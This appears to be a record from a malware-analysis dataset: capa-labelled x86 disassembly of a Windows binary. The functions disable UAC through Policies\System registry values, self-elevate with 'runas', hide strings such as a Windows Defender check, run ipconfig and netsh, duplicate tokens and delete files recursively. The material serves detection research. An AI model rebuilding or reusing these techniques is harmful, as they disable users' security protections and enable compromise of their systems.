joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001669f
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
push edi
mov esi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x18]
push eax
push 0x10049ddc
push 1
push edi
push 0x10049dbc
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x100166de
xor eax, eax
jmp 0x10016784
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x10]
push edi
push edx
push 0x10049dcc
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100166d7
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0xc]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
jmp 0x10016778
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x14]
push edx
push 0x100434b0
push edi
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x1001675c
push 8
pop eax
mov word [ebp - 0x28], ax
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x14]
push edi
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10016753
push dword [ebp - 0x20]
inc esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ecx]
push 1
push ecx
call dword [edx + 0xc]
test eax, eax
je 0x10016713
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10021e50
mov esp, ebp
pop ebp
ret

Function at 0x10016794
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [0x1005c3fc]
lea eax, [ebp - 0x42b]
push edi
xor ebx, ebx
mov edi, edx
push 0x3ff
push ebx
push eax
mov byte [ebp - 0x42c], bl
call fcn.10022cd0
push 0x100
push ebx
push edi
call fcn.10022cd0
push 0x400
lea eax, [ebp - 0x42c]
push ebx
push eax
call fcn.10022cd0
movdqa xmm0, xmmword [0x100510b0]
lea eax, [ebp - 0x2c]
push esi
push eax
lea eax, [ebp - 0x42c]
mov dword [ebp - 0xc], 0x74736f48
push eax
mov byte [ebp - 8], bl
movdqu xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x575c7466
mov dword [ebp - 0x18], 0x6f646e69
mov dword [ebp - 0x14], 0x255c7377
mov word [ebp - 0x10], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x42c]
push edi
push ecx
push eax
call fcn.100139d7
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0x18
push edi
call esi
test eax, eax
jne 0x10016865
push ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x100
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
Function at 0x10016885
Capabilities:
Create process on windows
Get token membership
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov word [ebp - 0x10c], 0x500
lea eax, [ebp - 0x118]
mov dword [ebp - 0x110], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x114], eax
test eax, eax
je 0x100168fd
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x118]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x114]
cmp eax, 1
jne 0x10016913
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
push esi
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push ebx
push eax
call fcn.10022cd0
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x38
lea eax, [ebp - 0x150]
mov dword [ebp - 0x154], 0x3c
push ebx
push eax
call fcn.10022cd0
add esp, 0xc
mov dword [ebp - 0x148], str.runas
lea eax, [ebp - 0x108]
mov dword [ebp - 0x138], 5
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
pop esi
test eax, eax
je 0x10016904
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x10016d12
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x124
mov eax, 0x100418bd
call fcn.1003a17c
xor ebx, ebx
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x12c], ebx
call fcn.10020843
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x127]
push 0x103
push ebx
push eax
mov byte [ebp - 0x128], bl
call fcn.10022cd0
add esp, 0xc
lea eax, [ebp - 0x128]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x646e6957
push eax
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x1c], 0x4420736f
mov dword [ebp - 0x18], 0x6e656665
mov word [ebp - 0x14], 0x6564
mov byte [ebp - 0x12], bl
call fcn.10020d74
test eax, eax
jne 0x10016db6
push ecx
push ecx
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x130]
call fcn.10020a28
jmp 0x10016dd9
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x130]
call fcn.10020e00
test eax, eax
jne 0x10016dd9
push ecx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x130]
call fcn.10020e9f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.100209a7
call fcn.1003a12b
ret
Function at 0x10016ee6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x13c
mov eax, 0x10041977
call fcn.1003a17c
mov ebx, ecx
xor eax, eax
mov dword [ebp - 4], eax
lea edx, [ebp - 0x38]
mov dword [ebp - 0x144], eax
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x38], 0x6f637069
mov dword [ebp - 0x34], 0x6769666e
mov dword [ebp - 0x30], 0x6c612f20
mov word [ebp - 0x2c], 0x6c
call fcn.10016df3
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
mov edi, ebx
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
push 0xa8
push eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0x144], ecx
push eax
call fcn.10022cd0
pop ecx
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x140]
call fcn.1001a90a
mov byte [ebp - 4], 2
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x64], al
mov byte [ebp - 4], 3
movdqa xmm0, xmmword [0x10051140]
mov dword [ebp - 0x28], 0xabccd4d2
mov dword [ebp - 0x24], 0xcacaf8cd
mov dword [ebp - 0x20], 0xf7c6e4c5
mov word [ebp - 0x1c], 0x20
movdqu xmmword [ebp - 0x4c], xmm0
mov word [ebp - 0x3c], 0x20
mov dword [ebp - 0x18], 0xe4c5caca
mov dword [ebp - 0x14], 0x20f7c6
jmp 0x100170a6
cmp byte [ebp - 0x28], 0
jne 0x10016fdb
xor eax, eax
jmp 0x10016fe5
lea eax, [ebp - 0x28]
push eax
call fcn.10022b00
pop ecx
push eax
push 0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x64]
call fcn.1001474b
cmp eax, 0xffffffff
jne 0x10017025
cmp byte [ebp - 0x4c], 0
jne 0x10017003
xor eax, eax
jmp 0x1001700d
lea eax, [ebp - 0x4c]
push eax
call fcn.10022b00
pop ecx
push eax
push 0
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x64]
call fcn.1001474b
cmp eax, 0xffffffff
je 0x100170a6
cmp byte [ebp - 0x18], 0
jne 0x1001702f
xor eax, eax
jmp 0x10017039
lea eax, [ebp - 0x18]
push eax
call fcn.10022b00
pop ecx
push eax
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x64]
call fcn.1001474b
mov edi, eax
lea eax, [ebp - 0x18]
push eax
call fcn.10022b00
pop ecx
mov esi, 0x10050a34
add edi, eax
push esi
call fcn.10022b00
pop ecx
push eax
push edi
push esi
lea ecx, [ebp - 0x64]
call fcn.1001474b
cmp edi, 0xffffffff
je 0x100170a6
cmp eax, 0xffffffff
je 0x100170a6
sub eax, edi
lea ecx, [ebp - 0x64]
push eax
push edi
lea eax, [ebp - 0x7c]
push eax
call fcn.10001e28
mov byte [ebp - 4], 4
lea eax, [ebp - 0x7c]
push eax
mov ecx, ebx
call fcn.1001a7e7
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x7c]
push 0
push 1
call fcn.1000176d
mov eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x140]
push 0xa
mov eax, dword [eax + 4]
add ecx, eax
call fcn.1001b282
movzx eax, al
lea edx, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x140]
call fcn.1001ba82
pop ecx
mov ecx, eax
mov eax, dword [ecx]
mov eax, dword [eax + 4]
test byte [eax + ecx + 0xc], 6
je 0x10016fd1
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x64]
push 0
push 1
call fcn.1000176d
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe0]
call fcn.1001a9d9
lea ecx, [ebp - 0xe0]
call fcn.1001a44d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x94]
push 0
push 1
call fcn.1000176d
mov eax, ebx
call fcn.1003a12b
ret
Function at 0x1001713b
Capabilities:
Create process on windows

Disassembly:
push 0x9c
mov eax, 0x100419d5
call fcn.1003a17c
xor eax, eax
mov dword [ebp - 0x1c], 0x616e7572
lea edi, [ebp - 0x30]
mov word [ebp - 0x18], 0x73
stosd dword es:[edi], eax
lea ecx, [ebp - 0x30]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10016ee6
and dword [ebp - 4], 0
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x2c]
push 2
pop ebx
jmp 0x1001724c
push esi
lea ecx, [ebp - 0x60]
call fcn.100014b8
mov byte [ebp - 4], 1
mov edx, ebx
lea ecx, [ebp - 0x90]
call fcn.1001583f
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x78]
push eax
call fcn.1001b68f
pop ecx
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x90]
push 0
push 1
call fcn.1000176d
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0xa8]
call fcn.1001b6d5
mov byte [ebp - 4], 5
mov edx, eax
lea ecx, [ebp - 0x48]
mov dword [esp], str.__dhcp
call fcn.1001b748
pop ecx
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa8]
push 0
push 1
call fcn.1000176d
xor ecx, ecx
mov dword [ebp - 0x24], 0x7374656e
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
push ecx
cmovae eax, dword [ebp - 0x48]
push ecx
push eax
lea eax, [ebp - 0x24]
mov word [ebp - 0x20], 0x68
push eax
lea eax, [ebp - 0x1c]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
inc ebx
mov byte [ebp - 4], 4
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.1000176d
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
push 0
push 1
call fcn.1000176d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x60]
push 0
push 1
call fcn.1000176d
add esi, 0x18
cmp esi, edi
jne 0x10017179
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.1001489e
call fcn.1003a12b
ret

Function at 0x10017266
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
movdqa xmm0, xmmword [0x10051090]
lea eax, [ebp - 0x433]
push ebx
xor ebx, ebx
mov dword [ebp - 0x14], 0x73255c73
push 0x3ff
movdqu xmmword [ebp - 0x34], xmm0
push ebx
movdqa xmm0, xmmword [0x10050fd0]
push eax
movdqu xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x10], bl
mov byte [ebp - 0x434], bl
call fcn.10022cd0
push str.Windows_Eventn
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x434]
push eax
call fcn.100247a2
add esp, 0x18
lea eax, [ebp - 0x444]
push eax
push 1
push ebx
lea eax, [ebp - 0x434]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10017351
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x43c], 4
push eax
lea eax, [ebp - 0x438]
mov dword [ebp - 0xc], 0x72617453
push eax
lea eax, [ebp - 0x440]
mov word [ebp - 8], 0x74
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x444]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x444]
test eax, eax
jne 0x1001734b
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 0x438], 2
sete al
jmp 0x10017353
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
Function at 0x10017413
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
movdqa xmm0, xmmword [0x10051080]
lea eax, [ebp - 0x10]
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xa4], edx
push eax
mov esi, ecx
mov dword [ebp - 0x18], 0x6f6c4274
movdqu xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x14], 0x6b63
mov byte [ebp - 0x12], bl
mov dword [ebp - 0x10], 0x72657375
mov dword [ebp - 0xc], 0x2e766e65
mov dword [ebp - 8], 0x6c6c64
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
lea eax, [ebp - 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x44
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0xa0]
push ebx
push eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
call fcn.10022cd0
push 0x10
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.10022cd0
movdqa xmm0, xmmword [str.WinSta0Default]
lea eax, [ebp - 0x38]
add esp, 0x18
mov dword [ebp - 0x58], ebx
movdqu xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0xa0], 0x44
mov dword [ebp - 0x98], eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea ecx, [ebp - 0x44]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x40]
push eax
push 1
push 1
push ebx
push 0x2000000
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov eax, dword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId]
cmp eax, ebx
je 0x1001756c
call eax
push 4
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
push 0xc
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push ebx
push dword [ebp - 0x40]
lea eax, [ebp - 0x48]
push eax
call dword [ebp - 0xa8]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push dword [ebp - 0x48]
push 0x430
push ebx
push ebx
push ebx
push dword [ebp - 0xa4]
push esi
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 0x40]
mov ebx, dword [ebp - 0x58]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x44]
call esi
test edi, edi
je 0x10017577
push edi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
Function at 0x1001758a
Capabilities:
Enumerate processes

Disassembly:
push 0x254
mov eax, 0x100419fd
call fcn.1003a1e8
xor esi, esi
mov dword [ebp - 0x260], esi
mov dword [ebp - 4], esi
push ecx
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x104
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
push esi
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x10017638
mov dword [ebp - 0x25c], 0x128
lea eax, [ebp - 0x25c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32First]
jmp 0x1001762d
push 0x104
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
jne 0x1001761f
inc esi
mov dword [ebp - 0x260], esi
lea eax, [ebp - 0x25c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32Next]
test eax, eax
jne 0x100175ee
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x10017659
mov eax, esi
call fcn.1003a13a
ret

Function at 0x10017732
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 8], 0
lea eax, [ebp - 0xc]
push ebx
push esi
push edi
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPolicies
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x100177a2
lea eax, [ebp - 0x10]
push eax
push str.System
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x1001779d
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
lea eax, [ebp - 0xc]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPolicies
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100177ee
lea eax, [ebp - 0x10]
push eax
push str.System
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x100177e9
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.EnableLUA
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
lea eax, [ebp - 0xc]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPolicies
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001783a
lea eax, [ebp - 0x10]
push eax
push str.System
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x10017835
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
Function at 0x10017ebd
Capabilities:
Copy file

Disassembly:
push 0x64
mov eax, 0x10041b4e
call fcn.1003a17c
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, dword [ecx]
mov edi, dword [esi]
jmp 0x10017fa9
lea eax, [edi + 8]
push eax
lea ecx, [ebp - 0x70]
call fcn.100014b8
mov byte [ebp - 4], 1
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x28]
call fcn.100014b8
mov byte [ebp - 4], 2
push 0xffffffffffffffff
push ecx
push ecx
lea ecx, [ebp - 0x28]
call fcn.1001a3a1
inc eax
lea ecx, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.10001e28
mov byte [ebp - 4], 3
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x40]
call fcn.100014b8
mov byte [ebp - 4], 4
push 0x1004f25c
call fcn.10022b00
pop ecx
push eax
push 0x1004f25c
lea ecx, [ebp - 0x40]
call fcn.100146a9
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x58]
push ecx
mov ecx, eax
call fcn.10014603
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x40]
push 1
cmovae ecx, dword [ebp - 0x40]
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x40]
push ebx
push 1
call fcn.1000176d
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x58]
push ebx
push 1
call fcn.1000176d
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
push ebx
push 1
call fcn.1000176d
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x70]
push ebx
push 1
call fcn.1000176d
mov edi, dword [edi]
cmp edi, esi
jne 0x10017ed7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
push ebx
push 1
call fcn.1000176d
call fcn.1003a12b
ret

Function at 0x10018051
Capabilities:
Get common file path

Disassembly:
push 0x114
mov eax, 0x10041bea
call fcn.1003a17c
mov esi, ecx
lea eax, [ebp - 0x118]
mov dword [ebp - 0x120], esi
push eax
xor ebx, ebx
push 0xe
push ebx
mov dword [ebp - 0x11c], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
push 0x103
lea eax, [ebp - 0x113]
mov byte [ebp - 0x114], bl
push ebx
push eax
call fcn.10022cd0
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x118]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
lea eax, [ebp - 0x114]
mov ecx, esi
push eax
call fcn.100014de
mov dword [ebp - 4], ebx
mov dword [ebp - 0x11c], 1
mov eax, esi
call fcn.1003a12b
ret
Function at 0x10018ace
Capabilities:
Terminate process

Disassembly:
push 0x80
mov eax, 0x10041d94
call fcn.1003a17c
and dword [ebp - 0x88], 0
lea edi, [ebp - 0x20]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x8c], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100219fa
mov dword [ebp - 4], 1
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x20]
call fcn.10021bc7
mov byte [ebp - 4], 2
cmp dword [ebp - 0x74], 0
jne 0x10018b25
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea eax, [ebp - 0x84]
mov ecx, esi
push eax
call fcn.10018b62
mov dword [ebp - 0x88], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x84]
call fcn.10016a03
and dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.1001489e
mov eax, esi
call fcn.1003a12b
ret 4
Function at 0x1001a321
Capabilities:
Terminate process

Disassembly:
push 0x18
mov eax, 0x10041f2f
call fcn.1003a17c
mov esi, edx
mov edi, dword [0x1005c420]
xor ebx, ebx
mov dword [ebp - 0x20], 0x65696c63
mov dword [ebp - 0x1c], 0xecd2746e
mov dword [ebp - 0x18], 0x2520a3b3
mov word [ebp - 0x14], 0x58
mov dword [ebp - 0x24], ebx
call fcn.10001f7b
push eax
lea ecx, [ebp - 0x24]
call fcn.1000bbef
mov dword [ebp - 4], 1
mov eax, dword [esi]
push dword [eax]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.100102b4
add esp, 0xc
lea eax, [ebp - 0x24]
mov ecx, edi
push eax
call fcn.1001a1b4
lea ecx, [edi + 8]
mov byte [edi], bl
call fcn.10015cf8
mov ecx, edi
call fcn.10018ab1
push ebx
call fcn.10024f0a
int3

Function at 0x1001a888
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov esi, edx
test edi, edi
je 0x1001a8f7
test esi, esi
je 0x1001a8f7
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], ebx
test eax, eax
je 0x1001a8f7
xor ecx, ecx
lea eax, [ebp - 0x14]
push ecx
push ecx
push eax
push 0x1001b200
push ecx
push ecx
call fcn.10027e4a
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
jmp 0x1001a8f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret
Function at 0x1001c029
Capabilities:
Check if file exists
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1001c054
xor al, al
jmp 0x1001c10b
push esi
test al, 0x10
jne 0x1001c06a
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
neg eax
sbb eax, eax
neg eax
jmp 0x1001c10b
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x218]
push str._s.
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1001c04d
cmp byte [ebp - 0x32c], 0x2e
je 0x1001c0e6
test byte [ebp - 0x358], 0x10
lea eax, [ebp - 0x32c]
push eax
push esi
lea eax, [ebp - 0x110]
push str._s_s
push eax
je 0x1001c0d4
call ebx
add esp, 0x10
lea ecx, [ebp - 0x110]
call fcn.1001c029
jmp 0x1001c0e6
call ebx
add esp, 0x10
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x358]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x1001c09c
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push esi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021e50
mov esp, ebp
pop ebp
ret